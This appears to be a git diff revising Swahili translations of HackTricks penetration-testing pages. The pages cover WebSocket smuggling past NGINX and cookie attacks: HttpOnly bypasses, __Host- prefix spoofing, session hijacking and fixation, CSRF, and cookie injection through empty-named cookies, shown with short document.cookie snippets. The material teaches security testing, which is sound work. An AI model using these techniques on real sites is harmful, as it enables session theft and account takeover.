Proxies zenyeathiriwa ni pamoja na Varnish, ambayo ilikataa kushughulikia suala hilo, na proxy ya Envoy toleo 1.8.0 au la zamani, na toleo za baadaye zimebadilisha mbinu ya kuboresha. Proxies nyingine pia zinaweza kuwa hatarini.
|
||||
|
||||
|
@ -87,14 +87,14 @@ Proxies zenyeathiriwa ni pamoja na Varnish, ambayo ilikataa kushughulikia suala
|
|||
|
||||
Skena hii inahusisha hatima yenye API ya Websocket ya umma na API ya REST ya umma kwa ukaguzi wa afya, pamoja na API ya REST ya ndani isiyopatikana. Shambulio, lenye utata zaidi, linajumuisha hatua zifuatazo:
|
||||
|
||||
1. Mteja anatuma ombi la POST kuanzisha API ya ukaguzi wa afya, likijumuisha kichwa cha HTTP cha ziada `Upgrade: websocket`. NGINX, ikifanya kazi kama reverse proxy, inachukulia hili kama ombi la kawaida la Kuboresha kulingana tu na kichwa cha `Upgrade`, ikipuuza vipengele vingine vya ombi, na kuliforward kwa hatima.
|
||||
2. Hatima inatekeleza API ya ukaguzi wa afya, ikifikia rasilimali ya nje inayodhibitiwa na mshambuliaji ambayo inarudisha jibu la HTTP lenye nambari ya hali `101`. Jibu hili, baada ya kupokelewa na hatima na kusambazwa kwa NGINX, linadanganya proxy kuamini kuwa uhusiano wa WebSocket umewekwa kutokana na uthibitisho wake wa nambari ya hali pekee.
|
||||
1. Mteja anatuma ombi la POST kuanzisha API ya ukaguzi wa afya, likijumuisha kichwa cha HTTP cha ziada `Upgrade: websocket`. NGINX, ikifanya kazi kama reverse proxy, inachukulia hili kama ombi la Kuboresha la kawaida kulingana tu na kichwa cha `Upgrade`, ikipuuza vipengele vingine vya ombi, na kulipeleka kwa hatima.
|
||||
2. Hatima inatekeleza API ya ukaguzi wa afya, ikifikia rasilimali ya nje inayodhibitiwa na mshambuliaji ambayo inarudisha jibu la HTTP lenye nambari ya hali `101`. Jibu hili, mara tu linapopokelewa na hatima na kusambazwa kwa NGINX, linadanganya proxy kuamini kuwa uhusiano wa Websocket umewekwa kutokana na uthibitisho wake wa nambari ya hali pekee.
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
|
||||
|
||||
> **Onyo:** Utata wa mbinu hii unazidi kwani inahitaji uwezo wa kuingiliana na hatima inayoweza kurudisha nambari ya hali 101.
|
||||
|
||||
Hatimaye, NGINX inadanganywa kuamini kuwa uhusiano wa WebSocket upo kati ya mteja na hatima. Halisi, uhusiano kama huo haupo; API ya REST ya ukaguzi wa afya ilikuwa lengo. Hata hivyo, reverse proxy inadumisha uhusiano wazi, kuruhusu mteja kupata API ya REST ya faragha kupitia huo.
|
||||
Hatimaye, NGINX inadanganywa kuamini kuwa uhusiano wa Websocket upo kati ya mteja na hatima. Kwa ukweli, uhusiano kama huo haupo; API ya REST ya ukaguzi wa afya ilikuwa lengo. Hata hivyo, reverse proxy inadumisha uhusiano wazi, kuruhusu mteja kupata API ya REST ya faragha kupitia huo.
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
|
||||
|
||||
|
|
|
@ -1,60 +1,60 @@
|
|||
# Kuki za Kudukua
|
||||
# Kuvunja Vidakuzi
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kuvunja AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Sifa za Kuki
|
||||
## Sifa za Vidakuzi
|
||||
|
||||
Kuki huja na sifa kadhaa ambazo hudhibiti tabia yao kwenye kivinjari cha mtumiaji. Hapa kuna muhtasari wa sifa hizi kwa sauti ya kupita:
|
||||
Vidakuzi huja na sifa kadhaa ambazo hudhibiti tabia yao kwenye kivinjari cha mtumiaji. Hapa kuna muhtasari wa sifa hizi kwa sauti ya kupita:
|
||||
|
||||
### Muda wa Kufikia na Max-Age
|
||||
### Muda wa Kufunga na Max-Age
|
||||
|
||||
Tarehe ya kumalizika ya kuki inadhibitiwa na sifa ya `Expires`. Kinyume chake, sifa ya `Max-age` inadefini muda kwa sekunde mpaka kuki ifutwe. **Chagua `Max-age` kwani inaakisi mazoea ya kisasa zaidi.**
|
||||
Tarehe ya kufungwa kwa kuki inadhibitiwa na sifa ya `Expires`. Kinyume chake, sifa ya `Max-age` inadefini muda kwa sekunde mpaka kuki ifutwe. **Chagua `Max-age` kwani inaakisi mazoea ya kisasa zaidi.**
|
||||
|
||||
### Kikoa
|
||||
|
||||
Wenyeji wa kupokea kuki hufafanuliwa na sifa ya `Domain`. Kwa chaguo-msingi, hii imewekwa kwa mwenyeji aliyeitoa kuki, bila kujumuisha subdomains zake. Walakini, wakati sifa ya `Domain` inawekwa wazi, inajumuisha pia subdomains. Hii hufanya ufafanuzi wa sifa ya `Domain` kuwa chaguo lisilokuwa na kizuizi, lenye manufaa kwa hali ambapo kugawana kuki kati ya subdomains ni muhimu. Kwa mfano, kuweka `Domain=mozilla.org` hufanya kuki zifikika kwenye subdomains kama `developer.mozilla.org`.
|
||||
Wenyeji wa kupokea kuki hufafanuliwa na sifa ya `Domain`. Kwa chaguo-msingi, hii imewekwa kwa mwenyeji aliyeitoa kuki, bila kujumuisha vikoa vyake vya sekondari. Walakini, wakati sifa ya `Domain` inawekwa wazi, inajumuisha pia vikoa vya sekondari. Hii hufanya ufafanuzi wa sifa ya `Domain` kuwa chaguo lisilokuwa na kizuizi, lenye manufaa kwa hali ambapo kugawana kuki kati ya vikoa vya sekondari ni muhimu. Kwa mfano, kuweka `Domain=mozilla.org` hufanya vidakuzi kupatikana kwenye vikoa vyake vya sekondari kama `developer.mozilla.org`.
|
||||
|
||||
### Njia
|
||||
|
||||
Njia maalum ya URL ambayo lazima iwe wazi kwenye URL iliyotakiwa kwa kichwa cha `Cookie` kutumwa inaonyeshwa na sifa ya `Path`. Sifa hii inachukulia `/` kama kipambanua cha saraka, kuruhusu mechi katika vijisehemu pia.
|
||||
Njia maalum ya URL ambayo lazima iwe wazi kwenye URL iliyotakiwa kwa kichwa cha `Cookie` kutumwa inaonyeshwa na sifa ya `Path`. Sifa hii inachukulia `/` kama kipambanua cha saraka, kuruhusu kupatikana kwa mechi katika vikaragosi vya sekondari pia.
|
||||
|
||||
### Miongozo ya Uagizaji
|
||||
### Sheria za Uagizaji
|
||||
|
||||
Wakati kuki mbili zina jina sawa, ile inayochaguliwa kutumwa inategemea:
|
||||
Wakati vidakuzi viwili vinabeba jina moja, kile kinachochaguliwa kutumwa kinafuata:
|
||||
|
||||
* Kuki inayolingana na njia ndefu zaidi kwenye URL iliyotakiwa.
|
||||
* Kuki iliyowekwa hivi karibuni zaidi ikiwa njia zinafanana.
|
||||
|
||||
### SameSite
|
||||
|
||||
* Sifa ya `SameSite` inadhibiti ikiwa kuki hutumwa kwenye maombi yanayotoka kwenye vikoa vya tatu. Inatoa mipangilio mitatu:
|
||||
* **Strict**: Inazuia kuki kutumwa kwenye maombi ya vikoa vya tatu.
|
||||
* Sifa ya `SameSite` inadhibiti ikiwa vidakuzi vitatumwa kwenye maombi yanayotoka kwa vikoa vya tatu. Inatoa mipangilio mitatu:
|
||||
* **Strict**: Inazuia kuki kutotumwa kwenye maombi ya vikoa vya tatu.
|
||||
* **Lax**: Inaruhusu kuki kutumwa na maombi ya GET yaliyoanzishwa na tovuti za vikoa vya tatu.
|
||||
* **None**: Inaruhusu kuki kutumwa kutoka kwenye kikoa chochote cha tatu.
|
||||
* **None**: Inaruhusu kuki kutumwa kutoka kwa kikoa chochote cha tatu.
|
||||
|
||||
Kumbuka, wakati unapoweka kuki, kuelewa sifa hizi kunaweza kusaidia kuhakikisha zinajitokeza kama ilivyotarajiwa katika hali tofauti.
|
||||
Kumbuka, wakati wa kusanidi vidakuzi, kuelewa sifa hizi kunaweza kusaidia kuhakikisha vinajitokeza kama ilivyotarajiwa katika hali tofauti.
|
||||
|
||||
| **Aina ya Ombi** | **Mfano wa Kanuni** | **Kuki Zinazotumwa Wakati** |
|
||||
| **Aina ya Ombi** | **Msimbo wa Mfano** | **Vidakuzi Vinavyotumwa Wakati** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
| Kiungo | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
|
@ -65,12 +65,12 @@ Kumbuka, wakati unapoweka kuki, kuelewa sifa hizi kunaweza kusaidia kuhakikisha
|
|||
| Picha | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Meza kutoka [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) na imebadilishwa kidogo.\
|
||||
Kuki yenye sifa ya _**SameSite**_ itasaidia **mashambulizi ya CSRF** ambapo kikao kilichosajiliwa kinahitajika.
|
||||
Kuki yenye sifa ya _**SameSite**_ itasaidia **kupunguza mashambulizi ya CSRF** ambapo kikao kilichosajiliwa kinahitajika.
|
||||
|
||||
**\*Tambua kwamba kutoka Chrome80 (feb/2019) tabia ya chaguo-msingi ya kuki bila sifa ya kuki samesite** **itakuwa lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Tambua kuwa kwa muda, baada ya kutumia mabadiliko haya, **kuki bila sera ya SameSite** **katika Chrome itatibiwa kama None** wakati wa **dakika 2 za kwanza na kisha kama Lax kwa ombi za POST za juu za msingi.**
|
||||
Tambua kuwa kwa muda, baada ya kufanya mabadiliko haya, **vidakuzi bila sera ya SameSite** **katika Chrome vitatibiwa kama None** wakati wa **kwanza 2 dakika na kisha kama Lax kwa maombi ya POST ya msingi wa juu wa tovuti.**
|
||||
|
||||
## Alama za Kuki
|
||||
## Alama za Vidakuzi
|
||||
|
||||
### HttpOnly
|
||||
|
||||
|
@ -78,37 +78,37 @@ Hii inazuia **mteja** kupata kuki (Kupitia **Javascript** kwa mfano: `document.c
|
|||
|
||||
#### **Kupitisha**
|
||||
|
||||
* Ikiwa ukurasa unatuma kuki kama jibu la maombi (kwa mfano kwenye ukurasa wa **PHPinfo**), inawezekana kutumia XSS kutuma ombi kwa ukurasa huu na **kuiba kuki** kutoka kwa jibu (angalia mfano katika [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Hii inaweza Kupitishwa na maombi ya **HTTP TRACE** kama jibu kutoka kwa seva (ikiwa njia hii ya HTTP inapatikana) itaonyesha kuki zilizotumwa. Mbinu hii inaitwa **Cross-Site Tracking**.
|
||||
* Ikiwa ukurasa unatuma vidakuzi kama jibu la maombi (kwa mfano kwenye ukurasa wa **PHPinfo**), inawezekana kutumia XSS kutuma ombi kwa ukurasa huu na **kuiba vidakuzi** kutoka kwa jibu (angalia mfano katika [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Hii inaweza Kupitishwa na maombi ya **HTTP ya TRACE** kama jibu kutoka kwa seva (ikiwa njia hii ya HTTP inapatikana) itaonyesha vidakuzi vilivyotumwa. Mbinu hii inaitwa **Cross-Site Tracking**.
|
||||
* Mbinu hii inaepukwa na **vivinjari vya kisasa kwa kutokuruhusu kutuma ombi la TRACE** kutoka JS. Walakini, baadhi ya njia za kupitisha hii zimepatikana katika programu maalum kama kutuma `\r\nTRACE` badala ya `TRACE` kwa IE6.0 SP2.
|
||||
* Njia nyingine ni kutumia mapungufu ya siku sifuri/ya siku moja ya vivinjari.
|
||||
* Inawezekana **kuandika upya kuki za HttpOnly** kwa kufanya shambulio la kujaza Kikapu cha Kuki:
|
||||
* Njia nyingine ni kutumia udhaifu wa siku/zero wa vivinjari.
|
||||
* Inawezekana **kuandika upya vidakuzi vya HttpOnly** kwa kufanya shambulio la kujaza Jar ya Kuki:
|
||||
|
||||
{% content-ref url="cookie-jar-overflow.md" %}
|
||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Inawezekana kutumia shambulio la [**Kuki Smuggling**](./#cookie-smuggling) kudaka kuki hizi
|
||||
* Inawezekana kutumia shambulio la [**Cookie Smuggling**](./#cookie-smuggling) kuvuja vidakuzi hivi
|
||||
|
||||
### Salama
|
||||
|
||||
Ombi litatuma kuki **pekee** kwenye ombi la HTTP ikiwa ombi linatumwa kupitia kituo salama (kawaida **HTTPS**).
|
||||
|
||||
## Vipimo vya Kuki
|
||||
## Vielekezi vya Vidakuzi
|
||||
|
||||
Kuki zilizo na kipimo cha `__Secure-` inahitajika kuwekwa pamoja na bendera ya `salama` kutoka kurasa zilizolindwa na HTTPS.
|
||||
Vidakuzi vilivyo na kipimo cha `__Secure-` vinahitajika kuwekwa pamoja na bendera ya `salama` kutoka kwenye kurasa zilizolindwa na HTTPS.
|
||||
|
||||
Kwa kuki zenye kipimo cha `__Host-`, hali kadhaa lazima zikutane:
|
||||
Kwa vidakuzi vilivyo na kipimo cha `__Host-`, hali kadhaa lazima zikutane:
|
||||
|
||||
* Lazima ziwekwe na bendera ya `salama`.
|
||||
* Lazima zitoke kutoka kwenye ukurasa uliolindwa na HTTPS.
|
||||
* Zimepigwa marufuku kutaja kikoa, kuzuia kutumwa kwao kwa subdomains.
|
||||
* Njia kwa kuki hizi lazima iwekwe kwa `/`.
|
||||
* Lazima viwekwe na bendera ya `salama`.
|
||||
* Lazima vitoke kutoka kwenye ukurasa uliolindwa na HTTPS.
|
||||
* Imezuiliwa kutaja kikoa, kuzuia usafirishaji wao kwa vikoa vya sekondari.
|
||||
* Njia kwa vidakuzi hivi lazima iwekwe kama `/`.
|
||||
|
||||
Ni muhimu kutambua kuwa kuki zenye kipimo cha `__Host-` haziruhusiwi kutumwa kwa superdomains au subdomains. Kizuizi hiki husaidia katika kuzingatia kuki za programu. Hivyo, kutumia kipimo cha `__Host-` kwa kuki zote za programu kunaweza kuchukuliwa kama mazoea mazuri ya kuboresha usalama na kujitenga.
|
||||
Ni muhimu kutambua kuwa vidakuzi vilivyo na kipimo cha `__Host-` hairuhusiwi kutumwa kwa vikoa vya juu au vikoa vya sekondari. Kizuizi hiki husaidia katika kuzingatia vidakuzi vya programu. Hivyo, kutumia kipimo cha `__Host-` kwa vidakuzi vyote vya programu kunaweza kuchukuliwa kama mazoea mazuri ya kuboresha usalama na kujitenga.
|
||||
### Kubadilisha Vidakuzi
|
||||
|
||||
Kwa hivyo, moja ya kinga ya vidakuzi vilivyo na kipimo cha `__Host-` ni kuzuia kubadilishwa kutoka kwa subdomains. Kuzuia kwa mfano [**mashambulizi ya Kutupa Vidakuzi**](cookie-tossing.md). Katika mazungumzo [**Vidakuzi Vinavyovunjika: Kufunua Udhaifu wa Uadilifu wa Kikao cha Wavuti**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**karatasi**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) ilionyeshwa kuwa ilikuwa inawezekana kuweka vidakuzi vilivyo na kipimo cha \_\_HOST- kutoka kwa subdomain, kwa kudanganya parser, kwa mfano, kwa kuongeza "=" mwanzoni au mwanzoni na mwishoni...:
|
||||
Kwa hivyo, moja ya kinga ya vidakuzi vilivyo na kipimo cha `__Host-` ni kuzuia kubadilishwa kutoka kwa subdomains. Kuzuia kwa mfano [**mashambulizi ya Kutupa Vidakuzi**](cookie-tossing.md). Katika mazungumzo [**Vidakuzi Vinavyovunjika: Kufunua Udhaifu wa Uadilifu wa Kikao cha Wavuti**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**karatasi**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) ilionyeshwa kuwa ilikuwa inawezekana kuweka vidakuzi vilivyo na kipimo cha \_\_HOST- kutoka kwa subdomain, kwa kudanganya parser, kwa mfano, kuongeza "=" mwanzoni au mwanzoni na mwishoni...:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -122,17 +122,17 @@ Ikiwa kuki ya desturi ina data nyeti hakiki (haswa ikiwa unacheza CTF), kwani in
|
|||
|
||||
### Kudecode na Kubadilisha Vidakuzi
|
||||
|
||||
Data nyeti iliyofichwa katika vidakuzi inapaswa daima kuchunguzwa kwa makini. Vidakuzi vilivyofichwa kwa Base64 au muundo sawa mara nyingi vinaweza kudekodiwa. Udhaifu huu huruhusu wachawi kubadilisha maudhui ya kuki na kujifanya kuwa watumiaji wengine kwa kuweka data yao iliyobadilishwa ndani ya kuki.
|
||||
Data nyeti iliyofichwa katika vidakuzi inapaswa daima kuchunguzwa kwa makini. Vidakuzi vilivyofichwa kwa Base64 au muundo kama huo mara nyingi vinaweza kudekodiwa. Udhaifu huu huruhusu wachomaji kubadilisha maudhui ya kuki na kujifanya kuwa watumiaji wengine kwa kuweka data yao iliyobadilishwa ndani ya kuki.
|
||||
|
||||
### Udukuzi wa Kikao
|
||||
|
||||
Shambulio hili linahusisha kuiba kuki ya mtumiaji ili kupata ufikiaji usioruhusiwa kwenye akaunti yao ndani ya programu. Kwa kutumia kuki iliyoibiwa, mshambuliaji anaweza kujifanya kuwa mtumiaji halali.
|
||||
Shambulio hili linahusisha kuiba kuki ya mtumiaji ili kupata ufikiaji usioruhusiwa kwenye akaunti yao ndani ya programu. Kwa kutumia kuki iliyoibiwa, mchomaji anaweza kujifanya kuwa mtumiaji halali.
|
||||
|
||||
### Kufikia Kikao
|
||||
|
||||
Katika hali hii, mshambuliaji anadanganya muathiriwa kutumia kuki maalum kuingia. Ikiwa programu haipangi kuki mpya wakati wa kuingia, mshambuliaji, akiwa na kuki ya awali, anaweza kujifanya kuwa muathiriwa. Mbinu hii inategemea muathiriwa kuingia kwa kutumia kuki iliyotolewa na mshambuliaji.
|
||||
Katika hali hii, mchomaji anadanganya mhanga kutumia kuki maalum kuingia. Ikiwa programu haipangi kuki mpya wakati wa kuingia, mchomaji, akiwa na kuki ya awali, anaweza kujifanya kuwa mhanga. Mbinu hii inategemea mhanga kuingia na kuki iliyotolewa na mchomaji.
|
||||
|
||||
Ikiwa umepata **XSS katika subdomain** au **una udhibiti wa subdomain**, soma:
|
||||
Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
|
||||
|
||||
{% content-ref url="cookie-tossing.md" %}
|
||||
[cookie-tossing.md](cookie-tossing.md)
|
||||
|
@ -140,9 +140,9 @@ Ikiwa umepata **XSS katika subdomain** au **una udhibiti wa subdomain**, soma:
|
|||
|
||||
### Kutoa Kikao
|
||||
|
||||
Hapa, mshambuliaji anashawishi muathiriwa kutumia kuki ya kikao cha mshambuliaji. Muathiriwa, akiamini kuwa wameingia kwenye akaunti yao wenyewe, bila kukusudia watatekeleza vitendo katika muktadha wa akaunti ya mshambuliaji.
|
||||
Hapa, mchomaji anashawishi mhanga kutumia kuki ya kikao cha mchomaji. Mhanga, akiamini kuwa wameingia kwenye akaunti yao wenyewe, bila kukusudia watatekeleza vitendo katika muktadha wa akaunti ya mchomaji.
|
||||
|
||||
Ikiwa umepata **XSS katika subdomain** au **una udhibiti wa subdomain**, soma:
|
||||
Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
|
||||
|
||||
{% content-ref url="cookie-tossing.md" %}
|
||||
[cookie-tossing.md](cookie-tossing.md)
|
||||
|
@ -156,7 +156,7 @@ Vidakuzi vya JSON Web Tokens (JWT) vilivyotumika katika vidakuzi pia vinaweza ku
|
|||
|
||||
### Udukuzi wa Ombi la Msalaba wa Tovuti (CSRF)
|
||||
|
||||
Shambulio hili lalazimisha mtumiaji aliyeingia kutekeleza vitendo visivyotakiwa kwenye programu ya wavuti ambayo kwa sasa wamehakikiwa. Wachawi wanaweza kutumia vidakuzi ambavyo huletwa moja kwa moja na kila ombi kwa tovuti yenye udhaifu.
|
||||
Shambulio hili lalazimisha mtumiaji aliyeingia kutekeleza vitendo visivyotakiwa kwenye programu ya wavuti ambayo kwa sasa wamehakikiwa. Wachomaji wanaweza kutumia vidakuzi ambavyo huletwa moja kwa moja na kila ombi kwa tovuti yenye udhaifu.
|
||||
|
||||
### Vidakuzi Tupu
|
||||
|
||||
|
@ -166,7 +166,7 @@ document.cookie = "a=v1"
|
|||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
Matokeo katika kichwa cha kidakuzi kilichotumwa ni `a=v1; thibitisha thamani; b=v2;`. Kwa kushangaza, hii inaruhusu udhibiti wa vidakuzi ikiwa kidakuzi cha jina tupu kimesetwa, ikidhibiti vidakuzi vingine kwa kuweka kidakuzi tupu kwa thamani maalum:
|
||||
Matokeo katika kichwa cha kidakuzi kilichotumwa ni `a=v1; thibitisha thamani; b=v2;`. Kwa kushangaza, hii inaruhusu kubadilisha vidakuzi ikiwa kidakuzi cha jina tupu kimesetwa, ikidhibiti vidakuzi vingine kwa kuweka kidakuzi tupu kwa thamani maalum:
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`;
|
||||
|
@ -177,50 +177,48 @@ setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's valu
|
|||
Hii inapelekea kivinjari kutuma kichwa cha cookie kinachotafsiriwa na kila seva ya wavuti kama cookie iliyoitwa `a` yenye thamani `b`.
|
||||
|
||||
#### Kosa la Chrome: Shida ya Kipengee cha Kanuni ya Surrogate ya Unicode
|
||||
|
||||
Katika Chrome, ikiwa kipengee cha kanuni ya surrogate ya Unicode ni sehemu ya cookie iliyowekwa, `document.cookie` inaharibika, ikirudisha herufi tupu baadaye:
|
||||
```js
|
||||
document.cookie = "\ud800=meep";
|
||||
```
|
||||
Hii inasababisha `document.cookie` kutoa matokeo ya herufi tupu, ikionyesha uharibifu wa kudumu.
|
||||
|
||||
#### Kupitisha Cookies Kutokana na Matatizo ya Upatanishi
|
||||
#### Kupitisha Cookie Kutokana na Matatizo ya Upatanishi
|
||||
|
||||
(Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Seva kadhaa za wavuti, ikiwa ni pamoja na zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia vibaya herufi za cookie kutokana na msaada uliopitwa na wakati wa RFC2965. Huzisoma thamani ya cookie iliyofungwa mara mbili kama thamani moja hata kama ina pamoja na vipande vya nukta-kuu, ambavyo kawaida vinapaswa kutenganisha jozi za funguo-thamani:
|
||||
( Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Seva kadhaa za wavuti, ikiwa ni pamoja na zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia vibaya herufi za cookie kutokana na msaada uliopitwa na wakati wa RFC2965. Huzisoma thamani za cookie zilizofungwa kwa alama mbili kama thamani moja hata kama ina pamoja na vipande vya nukta-kuu, ambavyo kawaida vinapaswa kutenganisha jozi za funguo-thamani:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Mapungufu ya Uvujaji wa Cookie
|
||||
#### Udhaifu wa Kuingiza Vidakuzi
|
||||
|
||||
(Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Uchambuzi usio sahihi wa cookies na seva, hasa Undertow, Zope, na wale wanaotumia `http.cookie.SimpleCookie` na `http.cookie.BaseCookie` ya Python, hutoa fursa za mashambulizi ya kuingiza cookie. Seva hizi hazifanikiwi kufafanua kwa usahihi mwanzo wa cookies mpya, kuruhusu wachomaji kudanganya cookies:
|
||||
(Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Uchambuzi usio sahihi wa vidakuzi na seva, hasa Undertow, Zope, na wale wanaotumia `http.cookie.SimpleCookie` na `http.cookie.BaseCookie` ya Python, hutoa fursa za mashambulizi ya kuingiza vidakuzi. Seva hizi hazifanikiwi kufafanua kwa usahihi mwanzo wa vidakuzi vipya, kuruhusu wadukuzi kujifanya kuwa vidakuzi:
|
||||
|
||||
- Undertow inatarajia cookie mpya mara moja baada ya thamani iliyonukuliwa bila ya mkato.
|
||||
- Zope inatafuta comma kuanza kuchambua cookie inayofuata.
|
||||
- Darasa za cookie za Python huanza kuchambua kwenye herufi ya nafasi.
|
||||
* Undertow inatarajia kudukuliwa kwa kuki mpya mara moja baada ya thamani iliyonyooka bila ya mkato.
|
||||
* Zope inatafuta koma kuanza kuchambua kuki inayofuata.
|
||||
* Darasa za kuki za Python huanza kuchambua kwa herufi ya nafasi.
|
||||
|
||||
Mapungufu haya ni hatari hasa katika maombi ya wavuti yanayotegemea ulinzi wa CSRF kulingana na cookies, kwani inaruhusu wachomaji kuingiza cookies za CSRF zilizodanganywa, hivyo kupitisha hatua za usalama. Tatizo hili linazidishwa na jinsi Python inavyoshughulikia majina ya cookies yanayorudiwa, ambapo tukio la mwisho linapuuza yale ya awali. Pia inaleta wasiwasi kwa cookies za `__Secure-` na `__Host-` katika muktadha usio salama na inaweza kusababisha upitishaji wa idhini wakati cookies zinapitishwa kwa seva za nyuma zinazoweza kudanganywa.
|
||||
Udhaifu huu ni hatari hasa katika maombi ya wavuti yanayotegemea ulinzi wa CSRF kwa kutumia vidakuzi, kwani inaruhusu wadukuzi kuingiza vidakuzi bandia vya CSRF-token, ikipitisha hatua za usalama. Tatizo hili linazidishwa na jinsi Python inavyoshughulikia majina ya vidakuzi maradufu, ambapo tukio la mwisho linapuuza yale ya awali. Pia inaleta wasiwasi kwa vidakuzi vya `__Secure-` na `__Host-` katika muktadha usio salama na inaweza kusababisha upitishaji wa idhini wakati vidakuzi vinapitishwa kwa seva za nyuma zinazoweza kudukuliwa.
|
||||
|
||||
### Ukaguzi wa Ziada wa Cookies Zenye Mapungufu
|
||||
### Ukaguzi wa Vidakuzi Vilivyozidi Kuwa Dhaifu
|
||||
|
||||
#### **Uchunguzi wa Msingi**
|
||||
|
||||
- **Cookie** ni **sawa** kila wakati unapoj**iunga**.
|
||||
- Tolea nje na jaribu kutumia cookie hiyo hiyo.
|
||||
- Jaribu kuingia kwa kutumia vifaa 2 (au vivinjari) kwenye akaunti moja kwa kutumia cookie hiyo hiyo.
|
||||
- Angalia kama cookie ina habari yoyote ndani yake na jaribu kuibadilisha.
|
||||
- Jaribu kuunda akaunti kadhaa zenye majina yanayofanana na uangalie kama unaweza kuona mfanano.
|
||||
- Angalia chaguo la "**kumbuka**" ikiwepo kuona jinsi inavyofanya kazi. Ikiwepo na inaweza kuwa na mapungufu, tumia daima cookie ya **kumbuka** bila cookie nyingine yoyote.
|
||||
- Angalia kama cookie ya awali inafanya kazi hata baada ya kubadilisha nenosiri.
|
||||
